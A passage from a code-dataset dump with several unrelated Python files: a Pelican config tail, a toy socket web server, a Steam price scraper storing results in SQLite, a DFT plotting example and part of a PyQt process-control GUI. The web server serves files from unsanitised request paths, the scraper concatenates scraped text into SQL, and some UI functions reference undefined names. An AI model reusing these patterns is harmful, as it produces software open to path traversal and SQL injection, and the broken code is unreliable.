None\nTRANSLATION_FEED_ATOM = None\nAUTHOR_FEED_ATOM = None\nAUTHOR_FEED_RSS = None\n\nSOCIAL = (('twitter', 'http://twitter.com/technivore'),\n ('github', 'http://github.com/technivore'),\n ('bitbucket', 'http://bitbucket.com/technivore'))\n\nDEFAULT_PAGINATION = 8\n\n# Uncomment following line if you want document-relative URLs when developing\n#RELATIVE_URLS = True\n\nTYPOGRIFY = False\n\n# MD_EXTENSIONS = ['fenced_code', 'codehilite(css_class=highlight, linenums=False)', 'extra']\n","sub_path":"pelicanconf.py","file_name":"pelicanconf.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"393557852","text":"import socket\nimport re\n\ndef service_client(new_socket):\n \"\"\"为这个客户端返回数据\"\"\"\n # 1.接收浏览器发送过来请求,即Http请求\n request = new_socket.recv(1024).decode()\n # print(request)\n request_lines = request.splitlines()\n # print(request_lines[0])\n\n request_page = re.findall(\" (.+) HTTP/1.1\",request_lines[0])[0]\n # print(request_page)\n if request_page ==\"/\": request_page=\"/index.html\"\n request_page = request_page[1:]\n print(request_page)\n\n\n try:\n with open(r\".\\html\\\\\" + request_page, \"rb\") as f:\n html_content = f.read()\n except:\n # 无法访问的页面时\n response = \"HTTP/1.1 404 NOT FOUND\\r\\n\"\n response += \"\\r\\n\"\n response += \"------file not found------\"\n html_content = response.encode(\"utf-8\")\n else:\n # 2.返回ht格式的数据,给浏览器\n # 2.1准备发送给浏览器的数据--header\n response = \"HTTP/1.1 200 OK\\r\\n\"\n response += \"\\r\\n\"\n # 2.2 准备发送给浏览器的数据---boy\n # response += \"hahahaha, hello\"\n new_socket.send(response.encode(\"utf-8\"))\n\n new_socket.send(html_content)\n\n # 3.关闭套接字\n new_socket.close()\n\n\ndef main():\n \"\"\"用来完成整体的控制\"\"\"\n # 1. 创建套接字\n tcp_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n # 设置当服务器先close 即服务器端4次挥手之后资源能够立即释放,这样就保证了,下次运行程序时 可以立即绑定7788端口\n tcp_server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\n # 2. 绑定\n tcp_server_socket.bind((\"\", 7890))\n\n # 3. 变为监听套接字\n tcp_server_socket.listen(128)\n\n while True:\n # 4. 等待新客户端链接\n new_socket, client_addr = tcp_server_socket.accept()\n\n # 5. 为这个客户端服务\n service_client(new_socket)\n # break\n\n # 关闭监听套接字\n tcp_server_socket.close()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"open_page_04.py","file_name":"open_page_04.py","file_ext":"py","file_size_in_byte":2055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"35621974","text":"# Libraries used by this application\nimport sqlite3 as sq\nimport bs4 as bs\nimport requests as r\nimport sys\nimport datetime\nimport random\n\ntry:\n\t# Defined variables\n\tdatabase_name = \"steamscrape.sqlite\"\n\tscrape_file = sys.argv[1]\n\tlog_file = \"streamscrape.log\"\n\tcurr_date = datetime.date.today()\n\n\t# Get list of URL to scrape\n\turl_list = []\n\n\twith open(scrape_file, \"r\") as url_file:\n\t\tfor item in url_file.readlines():\n\t\t\turl_list.append(item)\n\t\t\t\nexcept: # If the targeted file does not exist, or you typed your command wrong, throw help menu\n\t\tprint(\"For scraping the steam website from a list of URLs, newline separated\")\n\t\tprint()\n\t\tprint(\"Usage:\")\n\t\tprint(\"python3 scrape.py [path/to/url/list] [flags (optional)]\")\n\t\tprint()\n\t\tprint(\"Flags:\")\n\t\tprint(\"-v: print to screen, not logfile (-vv for both)\")\n\t\texit(1)\n\n# Define the beast that will gather the data:\n## Grab URL into soup object\n## Iterate over soup object, looking for specific items\n## Add items to list\n## Return list to be added into the giant list of inserts to be run\ndef scrapeFunc(url):\n\turl = url\n\ttry:\n\t\treq = r.get(url)\n\t\tlogger(log_file,\"INFO\",\"Successfully requested URL \" + url, [])\n\texcept:\n\t\tlogger(log_file,\"ERR\",\"Failed to get URL \" + url, [])\n\n\tsoup = bs.BeautifulSoup(req.content, \"lxml\")\n\n\tnew_release = soup.find(\"div\", {\"id\": \"tab_content_NewReleases\"})\n\ttop_sellers = soup.find(\"div\", {\"id\": \"tab_content_TopSellers\"})\n\tpopular_items = soup.find(\"div\", {\"id\": \"tab_content_ConcurrentUsers\"})\n\n\treturned_list = []\n\n\tfor tab in [new_release, top_sellers, popular_items]:\n\t\tfor game in tab.find_all(\"a\", {\"class\": \"tab_item\"}):\n\n\t\t\ttry:\n\t\t\t\n\t\t\t\tgame_img = game.find(\"img\", {\"class\": \"tab_item_cap_img\"})['src']\n\t\t\t\tgame_title = game.find(\"div\", {\"class\": \"tab_item_name\"}).text\n\n\t\t\t\t# Logic for determining if the game is discounted\n\t\t\t\tgame_discounted = \"F\"\n\t\t\t\ttry:\n\t\t\t\t\tif len(game.find(\"div\", {\"class\": \"discount_pct\"}).text) > 0:\n\t\t\t\t\t\tgame_discounted = \"T\"\n\t\t\t\texcept:\n\t\t\t\t\tgame_discounted = \"F\"\n\n\t\t\t\t# Logic for setting these values to null in the SQL. \n\t\t\t\t# This is assuming Steam will never pay you to download a game.\n\t\t\t\tgame_price_current = -1\n\t\t\t\tgame_price_discount = -1\n\t\t\t\tgame_discount_percent = -1\n\n\t\t\t\t# Set column values based on if game is discounted or not\n\t\t\t\tif game_discounted == \"T\":\n\t\t\t\t\tgame_price_current = game.find(\"div\", {\"class\": \"discount_original_price\"}).text\n\t\t\t\t\tgame_price_discount = game.find(\"div\", {\"class\": \"discount_final_price\"}).text\n\t\t\t\t\tgame_discount_percent = game.find(\"div\", {\"class\": \"discount_pct\"}).text.replace(\"-\",\"\")\n\t\t\t\telse:\n\t\t\t\t\tgame_price_current = game.find(\"div\", {\"class\": \"discount_final_price\"}).text\n\n\t\t\t\tgame_genres_list = []\n\n\t\t\t\tfor genre in game.find_all(\"div\", {\"class\": \"tab_item_top_tags\"}):\n\t\t\t\t\tgame_genres_list.append(genre.text.replace(\", \", \",\").replace(\"'\", \"\")) # gets rid of leading comma of secondary genres\n\t\t\t\tgame_genres = \",\".join(game_genres_list)\n\t\t\t\tgame_id = uniqIdenGen()\n\t\t\t\tgame_scrape_date = curr_date\n\n\t\t\t\treturned_list.append([game_id,game_scrape_date,game_title,game_discounted,\n\t\t\t\t\t\tgame_discount_percent,game_price_discount,game_price_current,\n\t\t\t\t\t\tgame_genres,game_img,url])\n\n\t\t\t\tlog_string = \"Got \" + game_title +\" from URL \" + url\n\t\t\t\tlogger(log_file, \"INFO\", log_string, [game_id,game_scrape_date,game_title,game_discounted,\n\t\t\t\t\t\tgame_discount_percent,game_price_discount,game_price_current,\n\t\t\t\t\t\tgame_genres,game_img,url])\n\t\t\texcept:\n\t\t\t\tlog_string = \"Issue getting the following from URL \" + url + \" | \" + game.prettify()\n\t\t\t\tlogger(log_file, \"ERR\", log_string)\n\n\turl_string = \"Successfully scraped \" + url\n\tlogger(log_file, \"INFO\", url_string, returned_list)\n\treturn returned_list\n\t# Order things are returned in are:\n\t# game_id,game_scrape_date,game_title,game_discounted,\n\t# game_discount_percent,game_price_discount,game_price_current,\n\t# game_genres,game_img,url\n\n\n\ndef inserter(returned_list):\n\t# Create connection to the database\n\tconn = sq.connect(database_name)\n\t# Create a table for us to use if it does not exist\n\ttable_create_sql = \"CREATE TABLE IF NOT EXISTS steamgames (id BLOB, retrieve_date BLOB, title BLOB, game_discounted BLOB, discount_percent BLOB, discount_price BLOB, game_price BLOB, genres BLOB, image_link BLOB, orig_fetched_url BLOB)\"\n\tconn.execute(table_create_sql)\n\n\t# Loops through and prepare to do insert statements for each item in returned_list\n\tfor game_entry in returned_list:\n\t\t# Here we make a cursor for this iteration so we can query the database\n\t\tcurr = conn.cursor()\n\n\t\t# Here we define the variables we extract from the metalist to make them easy to remember\n\t\tfor value in game_entry:\n\n\t\t\tif value == -1: # Nullify nullifiable values\n\t\t\t\tgame_entry[value] = \"null\"\n\n\t\tgame_id = \"'\" + str(game_entry[0]) + \"'\"\n\t\tgame_scrape_date = \"'\" + str(game_entry[1]) + \"'\"\n\t\tgame_title = \"'\" + str(game_entry[2]) + \"'\"\n\t\tgame_discounted = \"'\" + str(game_entry[3]) + \"'\"\n\n\t\tgame_discount_percent = \"\"\n\t\tif game_entry[4] == -1:\n\t\t\tgame_discount_percent = \"null\"\n\t\telse:\n\t\t\tgame_discount_percent = \"'\" + str(game_entry[4]) + \"'\"\n\n\t\tgame_price_discount = \"\"\n\t\tif game_entry[5] == -1:\n\t\t\tgame_price_discount = \"null\"\n\t\telse:\n\t\t\tgame_price_discount = \"'\" + str(game_entry[5]) + \"'\"\n\n\t\tgame_price_current = \"\"\n\t\tif game_entry[6] == -1:\n\t\t\tgame_price_current = \"null\"\n\t\telse:\n\t\t\tgame_price_current = \"'\" + str(game_entry[6]) + \"'\"\n\n\t\tgame_genres = \"'\" + str(game_entry[7]) + \"'\"\n\t\tgame_img = \"'\" + str(game_entry[8]) + \"'\"\n\t\turl = \"'\" +str(game_entry[9]) + \"'\"\n\n\t\t# Lets make sure this id or game+date combination already exist in the database\n\t\tlook_for_id = \"SELECT * FROM steamgames WHERE id='\" + game_id + \"'\"\n\t\t#curr.execute(look_for_id)\n\t\trow_check = []\n\n\t\tif len(row_check) == 0:\n\n\t\t\t# Lets build our insert statement and insert the data\n\t\t\tvariables_list = [game_id,game_scrape_date,game_title,game_discounted,\n\t\t\t\t\t\tgame_discount_percent,game_price_discount,game_price_current,\n\t\t\t\t\t\tgame_genres,game_img,url]\n\n\t\t\trow_headers_list = [\"id\",\"retrieve_date\",\"title\",\"game_discounted\",\n\t\t\t\t\t\t\"discount_percent\",\"discount_price\",\"game_price\",\n\t\t\t\t\t\t\"genres\",\"image_link\",\"orig_fetched_url\"]\n\n\t\t\tinsert_statement = \"INSERT INTO steamgames (\" + \",\".join(row_headers_list) + \") VALUES(\" + \",\".join(variables_list) + \")\"\n\n\n\t\t\ttry:\n\t\t\t\tconn.execute(insert_statement)\n\t\t\t\tconn.execute(\"commit;\")\n\t\t\texcept:\n\t\t\t\terr_string = \"Error inserting into SQL database\" + \" | \" + insert_statement\n\t\t\t\tlogger(log_file, \"ERR\", err_string)\n\n\n\n\t# Here is what this function needs to do\n\n\t# Iterate over the lines returned for reach URL read by scrapeFunc()\n\t# Convert the -1 values to be null\n\t# Check the SQLite table that both the unique_id and date_of_game constraints are not violated.\n\t# INSERT INTO SQLite table\n\ndef logger(log_file, logtype=\"INFO\", message=\"\", item_list=[]):\n\t\n\twith open(log_file, \"a\") as f:\n\n\t\tif len(item_list) > 0:\n\t\t\tlog_string_list = ','.join(str(v) for v in item_list)\n\t\t\tlog_string = str(datetime.datetime.now()) + \" | \" + logtype + \" | \" + message + \" | \" + str(log_string_list)\n\t\telse:\n\t\t\tlog_string = str(datetime.datetime.now()) + \" | \" + logtype + \" | \" + message\n\n\t\t# Logic for command flags -v and -vv\n\t\tif len(sys.argv) < 4:\n\t\t\tif len(sys.argv) > 2 and sys.argv[2] == \"-v\":\n\t\t\t\tprint(log_string)\n\n\t\t\telif len(sys.argv) > 2 and sys.argv[2] == \"-vv\":\n\t\t\t\tprint(log_string)\n\t\t\t\tf.write(log_string)\n\n\t\t\telif len(sys.argv) < 2:\n\t\t\t\tprint(\"For scraping the steam website from a list of URLs, newline separated\")\n\t\t\t\tprint()\n\t\t\t\tprint(\"Usage:\")\n\t\t\t\tprint(\"python3 scrape.py [path/to/url/list] [flags (optional)]\")\n\t\t\t\tprint()\n\t\t\t\tprint(\"Flags:\")\n\t\t\t\tprint(\"-v: print to screen, not logfile (-vv for both)\")\n\t\t\t\texit(1)\n\n\t\t\telse:\n\t\t\t\tf.write(log_string)\n\t\telse:\n\t\t\tprint(\"For scraping the steam website from a list of URLs, newline separated\")\n\t\t\tprint()\n\t\t\tprint(\"Usage:\")\n\t\t\tprint(\"python3 scrape.py [path/to/url/list] [flags (optional)]\")\n\t\t\tprint()\n\t\t\tprint(\"Flags:\")\n\t\t\tprint(\"-v: print to screen, not logfile (-vv for both)\")\n\t\t\texit(1)\n\t\t\n# Generates an ID for us to use for each row in the database\ndef uniqIdenGen():\n\tchar_options = [\n\t\t\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\n\t\t\"K\",\"L\",\"M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\n\t\t\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\",\n\t\t\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"0\"\n\t]\n\n\treturned_id = []\n\n\tfor i in range(16):\n\t\treturned_id.append(char_options[random.randint(0,len(char_options) - 1)])\n\n\treturn \"\".join(returned_id)\n\n\n\nif __name__ == \"__main__\": # So you can import this later I guess\n\n\t\twith open(scrape_file, \"r\") as f:\n\t\t\tfor link in f.readlines():\n\t\t\t\tinserter(scrapeFunc(link))\n\n\n\n","sub_path":"scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":8557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"532140453","text":"# -*- coding: utf-8 -*-\nfrom GeneralFunc import *\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# function values to be used in DFT \nL = 5 # spatial extent of the grid \nN = 32 #% number of samples \ndelta = L / N # sample spacing \nx = np.arange(-N/2, N/2-1, 1) * delta\nf = np.arange(-N/2, N/2-1, 1) / (N * delta)\na = 1 # sampled function & its DFT \ng_samp = np.exp(-np.pi*a*x**2) #% function samples \ng_dft = ft(g_samp, delta) #% DFT % analytic function & its continuous FT \nM = 1024\n\nx_cont = np.linspace(x[0], x[-1], M)\nf_cont = np.linspace(f[0], f[-1], M)\ng_cont = np.exp(-np.pi*a*x_cont**2)\ng_ft_cont = np.exp(-np.pi*f_cont**2/a)/a\n\nplt.subplot(131)\nplt.plot(x,g_samp,'*-')\nplt.grid(True, linestyle=':')\nplt.subplot(132)\nplt.plot(f,np.real(g_dft),'*-')\nplt.grid(True, linestyle=':')\nplt.subplot(133)\nplt.plot(x, np.imag(g_dft),'*-')\nplt.grid(True, linestyle=':')\naxes = plt.gca()\naxes.set_ylim([-1,1])\nplt.tight_layout()\nplt.show()\n","sub_path":"Chapter2/example_ft_gaussian.py","file_name":"example_ft_gaussian.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"628909305","text":"\r\n\t# =========================================================================\r\n\t# FILE NAME : testUI2.py\r\n\t# AUTHOR : Nicolas Tarino\r\n\t# PURPOSE : This file contains the NanoUI class to handle nanoUI.ui GUI\r\n\t# Sectioned into: Initializers\r\n\t# \t\t\t\t\t\t\t Exit, File Save and Data Log Functions\r\n\t# \t\t\t\t\t\t\t Edit Mode/ Sequence-Log Adjust Functions\r\n\t# \t\t\t\t\t\t\t Run Mode/ Functions\r\n\t# \t\t\t\t\t\t\t Other General Functions\r\n\t# \t\t\tMemory:\r\n\t# \t\t\t Default Sequence Template is contained in tabsInit, as self.seq and self.number_of_phase\r\n\t# \t\t\t Items on tabs are saved and can be controlled from stored arrays:\r\n\t# \t\t\t\t\tself.buttonArray, self.settingsArray, self.labelsArray\r\n\t# \t\t\t All save-able Information is maintained in dataLogClass class self.log\r\n\t# \t\t\t RunTime Actions Information is maintained in processMemory class self.process\r\n\t# \t\t\t RunTime Monitor Information is maintained in monitorClass class self.monitor\r\n\t# \t\t\t Default Sequence Template is contained in tabsInit, as self.seq and self.number_of_phase\r\n\t\t\t\t \r\n\t# \t\t\tAction:\r\n\t# \t\t\t There are 3 modes this UI can be at:\r\n\t# \t\t\t 1. Inactive = Ready to start. Monitor and Log active thruout\r\n\t# \t\t\t 2. Run = Activates Process\r\n\t# \t\t\t 3. Edit Mode = Alters Sequence tab\r\n\r\n\t# \t\t\t Classes dataLogClass, processMemory and monitorClass are NOT fixed to this UI\r\n\t# \t\t\t The three classes only demand 'displayMessage' function from UI to be accessible\r\n\t# \t\t\t The only work this UI do, aside from showing info, is twofold:\r\n\t# \t\t\t 1. Management of sequences during run, passing each sequence individually to the processMemory\r\n\t# \t\t\t 2. Handle output files\r\n\t# \t\t\t Other jobs are delegated to the three classes\r\n\t\t\t\t \r\n\t# =========================================================================\r\n\r\n\r\n#import QT classes\r\n# from os import path\t\r\nimport sys\r\nfrom PyQt5 import QtWidgets,QtCore, uic\r\nfrom PyQt5.QtWidgets import *\r\nfrom PyQt5.QtCore import *\r\n\r\n#Import non-QT classes\r\nimport time\r\nimport numpy as np\r\nimport threading\r\nimport traceback\r\n\r\n# Import original classes/functions\r\nfrom processMemory import processMemory\r\nfrom monitorClass import monitorClass\r\nfrom dataLogClass import dataLogClass\r\n\r\n\r\n# Edit this to change the default opening tabs\r\nglobal DEFAULTSEQUENCE, DEFAULTNOOFPHASE, DEFAULTTAB\r\n\r\nDEFAULTSEQUENCE = [['Heating ',1,0,80,0,0,100,2,2,5,1,1],\r\n\t\t\t\t\t['Maintain T',3,2.5,80,35,2,0,1,1,1,1,1]]\r\n\r\nDEFAULTNOOFPHASE = 2\r\n\r\nDEFAULTTAB = ['Default Message',1,0,80,0,0,100,2,2,5,1,1]\r\n\r\nclass locker:\r\n\t# This class is used for signalling between functions that they can work/ need to stop\r\n\t# I should've put (NanoUI)self.modeNow here but hey this is implemented later\r\n\tcan_Measure = False\r\n\tcan_Process = False\r\n\r\n\tis_moving_phase = False\r\n\tis_moving_phase_when = 0\r\n\tnew_phase = False\r\n\ttarget_phase = 0\r\n\r\n\tis_Emergency = False\r\n\tis_exiting = False\r\n\r\n\t# Threading conditions, as a way to control whether threads open or close\r\n\t# cMeasure = threading.Condition()\t#Used when you want several running UI, so they do work alternately\r\n\r\ndef afterTimeout():\r\n\t# print to stderr, unbuffered in Python 2.\r\n\tprint('{0} took too long'.format(fn_name), file=sys.stderr)\r\n\tsys.stderr.flush() # Python 3 stderr is likely buffered.\r\n\tthread.interrupt_main() # raises KeyboardInterrupt\r\n\t\r\n# Timeout decorator\r\ndef exit_after(s):\r\n\t'''\r\n\tuse as decorator to exit process if \r\n\tfunction takes longer than s seconds\r\n\t'''\r\n\tdef outer(fn):\r\n\t\tdef inner(*args, **kwargs):\r\n\t\t\ttimer = threading.Timer(s, afterTimeout, args=[fn.__name__])\r\n\t\t\ttimer.start()\r\n\t\t\ttry:\r\n\t\t\t\tresult = fn(*args, **kwargs)\r\n\t\t\tfinally:\r\n\t\t\t\ttimer.cancel()\r\n\t\t\treturn result\r\n\t\treturn inner\r\n\treturn outer\r\n\r\nclass NanoUI(QtWidgets.QMainWindow):\r\n\tthreads = []\r\n\tmodeNow = 'Inactive'\r\n\r\n\tbuttonArray = []\r\n\tsettingsArray = []\r\n\tlabelsArray = []\r\n\r\n\tseq = []\r\n\r\n\tdef __init__(self):\r\n\r\n\t\tQtWidgets.QMainWindow.__init__(self)\r\n\t\t# absdir = path.dirname(path.abspath(__file__))\r\n\t\t# uic.loadUi(absdir+'\\\\nanoUI.ui',self)\r\n\t\tuic.loadUi('nanoUI.ui',self)\r\n\t\tself.begin()\r\n\t\tself.mainMenuInit()\r\n\t\tself.buttonsInit()\r\n\t\tself.tabsInit()\r\n\t\tself.threadsInit()\r\n\t\tself.graphInit()\r\n\t\t#self.logInit()\r\n\r\n\t\tself.endInit()\r\n\t\tself.show()\r\n\r\n\tdef begin(self):\r\n\t\tself.start_time = time.time()\r\n\t#DataLog\r\n\t\tself.log = dataLogClass(self.graph_widget)\r\n\t#Monitor\r\n\t\tself.monitor = monitorClass(self.log,self.displayMessage)\r\n\t#Process\r\n\t\tself.process = processMemory(self.log,self.displayMessage,self.monitor)\r\n\t#Description\r\n\t\tself.modeNow = 'Inactive'\r\n\t\tself.displayMessage('====================================')\r\n\t\tself.displayMessage(' Welcome.')\r\n\t\tself.displayMessage(' Program Version: testUI2.py, 2018-7-16 connected')\r\n\t\tself.displayMessage(' - Process Ready')\r\n\t\tself.displayMessage(' - Resizing issue not solved')\r\n\t\tself.displayMessage(' - Use testUI.py to test loading UI')\r\n\t\tself.displayMessage(' - Use testUI3.py to test loading Process and Monitor')\r\n\t\tself.displayMessage(' Please Use buttons on the \\'Quick Controls\\'')\r\n\t\tself.displayMessage('====================================')\r\n\t\tself.shownow()\r\n\t\tself.displayMessage('Loading Default Sequence...')\r\n\r\n\r\n\r\n\tdef mainMenuInit(self):\r\n\t\tself.actionNew.triggered.connect(self.fileNew)\r\n\t\tself.actionNew.setStatusTip('Create New Blank Sequence')\r\n\t\tself.actionOpen.triggered.connect(self.fileOpen)\r\n\t\tself.actionOpen.setStatusTip('Open Log and Graph')\r\n\t\tself.actionSave.triggered.connect(self.fileSave)\r\n\t\tself.actionSave.setStatusTip('Save current Log and Graph')\r\n\t\tself.actionExit_2.triggered.connect(self.fileExit)\r\n\t\tself.actionExit_2.setStatusTip('Stop All and Quit')\r\n\t\tself.actionAdjust_Run_Settings.triggered.connect(self.adjustSettings)\r\n\t\tself.actionAdjust_Run_Settings.setStatusTip('Change Sequence')\r\n\t\tself.actionAdjust_Record_Settings.triggered.connect(self.adjustRecord)\r\n\t\tself.actionAdjust_Record_Settings.setStatusTip('Change what shows in log')\r\n\t\tself.actionSave_Template_Sequence.triggered.connect(self.adjustSaveSettings)\r\n\t\tself.actionSave_Template_Sequence.setStatusTip('Save Sequence')\r\n\t\tself.actionBegin_Run_2.triggered.connect(self.runBegin)\r\n\t\tself.actionBegin_Run_2.setStatusTip('Start Process')\r\n\t\tself.actionStop_2.triggered.connect(self.runSTOP)\r\n\t\tself.actionStop_2.setStatusTip('STOP ALL IMMEDIATELY')\r\n\r\n\tdef buttonsInit(self):\r\n\t\tself.push_adjust.clicked.connect(self.adjustSettings)\r\n\t\tself.push_adjust.setStatusTip('Change Sequence')\r\n\t\tself.push_adjust.setEnabled(True)\r\n\t\tself.push_run.clicked.connect(self.runBegin)\r\n\t\tself.push_run.setStatusTip('Start Process')\r\n\t\tself.push_run.setEnabled(True)\r\n\t\tself.push_changeP.clicked.connect(self.runChangeP)\r\n\t\tself.push_changeP.setStatusTip('At current Phase, override Pressure setting')\r\n\t\tself.push_changeP.setEnabled(False)\r\n\t\tself.push_changeT.clicked.connect(self.runChangeT)\r\n\t\tself.push_changeT.setStatusTip('At current Phase, override Temperature setting')\r\n\t\tself.push_changeT.setEnabled(False)\r\n\t\tself.push_next.clicked.connect(self.runNext)\r\n\t\tself.push_next.setStatusTip('Next Phase')\r\n\t\tself.push_next.setEnabled(False)\r\n\t\tself.push_goto.clicked.connect(self.runGoto)\r\n\t\tself.push_goto.setStatusTip('Select and Move to Phase')\r\n\t\tself.push_goto.setEnabled(False)\r\n\t\tself.push_prev.clicked.connect(self.runPrev)\r\n\t\tself.push_prev.setStatusTip('Previous Phase')\r\n\t\tself.push_prev.setEnabled(False)\r\n\t\tself.push_stop.clicked.connect(self.runSTOP)\r\n\t\tself.push_stop.setStatusTip('STOP ALL IMMEDIATELY')\r\n\t\tself.push_stop.setEnabled(False)\r\n\r\n\tdef tabsInit(self):\r\n\t#Initialize non tab settings\r\n\t\tself.number_of_phase = DEFAULTNOOFPHASE\r\n\t\tself.line_phase.setText(self.modeNow)\r\n\t\tself.label_runtime.setText('00:00')\r\n\t\tself.checkBox_detailed.setChecked(True)\r\n\t\tself.checkBox_detailed.setEnabled(True)\r\n\t\tself.checkBox_detailed.stateChanged.connect(self.showDetails)\r\n\t#Create Sequence Data Array\r\n\t\t#seq refers to entirety of sequence files, in otder\r\n\t\tself.seq = DEFAULTSEQUENCE\r\n\t\tself.buttonArray = []\r\n\t\tself.settingsArray = []\r\n\t\tself.labelsArray = []\r\n\t#Create Tabs from scratch\r\n\t\tcurrentTab = 0\r\n\t\twhile (currentTab < self.number_of_phase):\r\n\t\t\tself.functNewSequence(currentTab,*self.seq[currentTab])\r\n\t\t\tcurrentTab = currentTab + 1\r\n\t#Disable/Enable Buttons and Settings\r\n\t\tfor row in range(len(self.buttonArray)):\r\n\t\t\tfor col in range(len(self.buttonArray[row])):\r\n\t\t\t\tself.buttonArray[row][col].setEnabled(False)\r\n\t\t\tfor col in range(len(self.settingsArray[row])):\r\n\t\t\t\tself.settingsArray[row][col].setEnabled(False)\r\n\r\n\tdef threadsInit(self):\r\n\t\t#Create a global set of locks\r\n\t\tself.locks = locker()\r\n\r\n\t\t# Build the threads, this lets multiple programs run concurrently\r\n\t\ta = threading.Thread(target = self.monitorCheck)\r\n\t\tself.threads.append(a)\r\n\t\ta.start()\r\n\r\n\t\tb = threading.Thread(target = self.updateGraph)\r\n\t\tself.threads.append(b)\r\n\t\tb.start()\r\n\r\n\tdef graphInit(self):\r\n\t#Graph\r\n\t\tself.log.createGraphs()\r\n\r\n\tdef logInit(self):\r\n\t\tself.checkBox_log1.setChecked(True)\r\n\t\tself.checkBox_log2.setChecked(False)\r\n\t\tself.checkBox_log3.setChecked(False)\r\n\r\n\tdef endInit(self):\r\n\t\tself.displayMessage('Now on standby')\r\n\r\n\t# EXIT, and File Saving functions\r\n\t# ==========================================================\r\n\r\n\t# NOT DONE\r\n\tdef fileNew(self):\r\n\t\tasknew = self.generateMessageBox('New File','Your current progress will be removed upon creating new file. Confirm?')\r\n\t\tif asknew == QMessageBox.Ok:\r\n\t\t\t#add warning message as files will be unsaved\r\n\t\t\t#Then Reset memory, create from template\r\n\t\t\tprint('FileNew')\r\n\t\telse:\r\n\t\t\treturn\r\n\r\n\tdef fileOpen(self):\r\n\t\t#add warning message as files will be unsaved\r\n\t\t#then find a way to look up directory for data file\r\n\t\topenname, _ = QFileDialog.getOpenFileName(self,\"Open File\")\r\n\t\tif openname:\r\n\t\t\tassert(self.log.loadData(openname))\r\n\t\tself.shownow()\r\n\t\tself.displayMessage(\"Loaded from file {}\".format(savename))\r\n\r\n\tdef fileSave(self):\r\n\t\tsavename = QtGui.QFileDialog.getSaveFileName(self, 'Save File')\r\n\t\tif savename:\r\n\t\t\tassert(self.log.saveData(savename))\r\n\t\tself.shownow()\r\n\t\tself.displayMessage(\"File saved as {}\".format(savename))\r\n\r\n\tdef fileExit(self):\r\n\t\tself.close()\r\n\t\t\r\n\r\n\t# Sequence and Log Adjust functions\r\n\t# ==========================================================\r\n\r\n\t# NOT DONE. Adjust differently for Heating Profile\r\n\tdef showDetails(self):\r\n\t\t#Function of pressing \"Show/Hide Details of Sequence\"\r\n\t\tif self.checkBox_detailed.isChecked() == False:\r\n\t\t\tfor tab in range(self.number_of_phase):\r\n\t\t\t\tfor i in range(6,10):\r\n\t\t\t\t\tself.labelsArray[tab][i].setHidden(True)\r\n\t\t\t\tfor i in range(9,17):\r\n\t\t\t\t\tself.settingsArray[tab][i].setHidden(True)\r\n\t\t\t\tendcon = self.seq[tab][1]\r\n\t\t\t\tif endcon != 3:\r\n\t\t\t\t\tself.labelsArray[tab][2].setHidden(True)\r\n\t\t\t\t\tself.settingsArray[tab][2].setHidden(True)\r\n\t\t\t\t\tself.settingsArray[tab][3].setHidden(True)\r\n\t\t\t\telse:\r\n\t\t\t\t\tpass\r\n\t\t\t\theat_profile = self.seq[tab][5]\r\n\t\t\t\tif (heat_profile == 0) or (heat_profile == 2):\r\n\t\t\t\t\tpass\r\n\t\t\t\telse:\r\n\t\t\t\t\tself.labelsArray[tab][6].setHidden(True)\r\n\t\t\t\t\tself.settingsArray[tab][9].setHidden(True)\r\n\t\t\t\t\tself.settingsArray[tab][10].setHidden(True)\r\n\t\t\t\t# PID\r\n\t\t\t\tif (heat_profile == 1):\r\n\t\t\t\t\tpass\r\n\t\t\t\telse:\r\n\t\t\t\t\tself.labelsArray[tab][7].setHidden(True)\r\n\t\t\t\t\tself.labelsArray[tab][8].setHidden(True)\r\n\t\t\t\t\tself.labelsArray[tab][9].setHidden(True)\r\n\t\t\t\t\tself.settingsArray[tab][11].setHidden(True)\r\n\t\t\t\t\tself.settingsArray[tab][12].setHidden(True)\r\n\t\t\t\t\tself.settingsArray[tab][13].setHidden(True)\r\n\t\t\t\t\tself.settingsArray[tab][14].setHidden(True)\r\n\t\t\t\t\tself.settingsArray[tab][15].setHidden(True)\r\n\t\t\t\t\tself.settingsArray[tab][16].setHidden(True)\r\n\t\telif self.checkBox_detailed.isChecked() == True:\r\n\t\t\tfor tab in range(self.number_of_phase):\r\n\t\t\t\tfor i in range(6,10):\r\n\t\t\t\t\tself.labelsArray[tab][i].setHidden(False)\r\n\t\t\t\tfor i in range(9,17):\r\n\t\t\t\t\tself.settingsArray[tab][i].setHidden(False)\r\n\t\t\t\tendcon = self.seq[tab][1]\r\n\t\t\t\tif endcon != 3:\r\n\t\t\t\t\tpass\r\n\t\t\t\telse:\r\n\t\t\t\t\tself.labelsArray[tab][2].setHidden(False)\r\n\t\t\t\t\tself.settingsArray[tab][2].setHidden(False)\r\n\t\t\t\t\tself.settingsArray[tab][3].setHidden(False)\r\n\t\t\t\theat_profile = self.settingsArray[tab][8]\r\n\t\t\t\tif (heat_profile == 0) or (heat_profile == 2):\r\n\t\t\t\t\tself.labelsArray[tab][6].setHidden(False)\r\n\t\t\t\t\tself.settingsArray[tab][9].setHidden(False)\r\n\t\t\t\t\tself.settingsArray[tab][10].setHidden(False)\r\n\t\t\t\telse:\r\n\t\t\t\t\tpass\r\n\t\t\t\t# PID\r\n\t\t\t\tif (heat_profile == 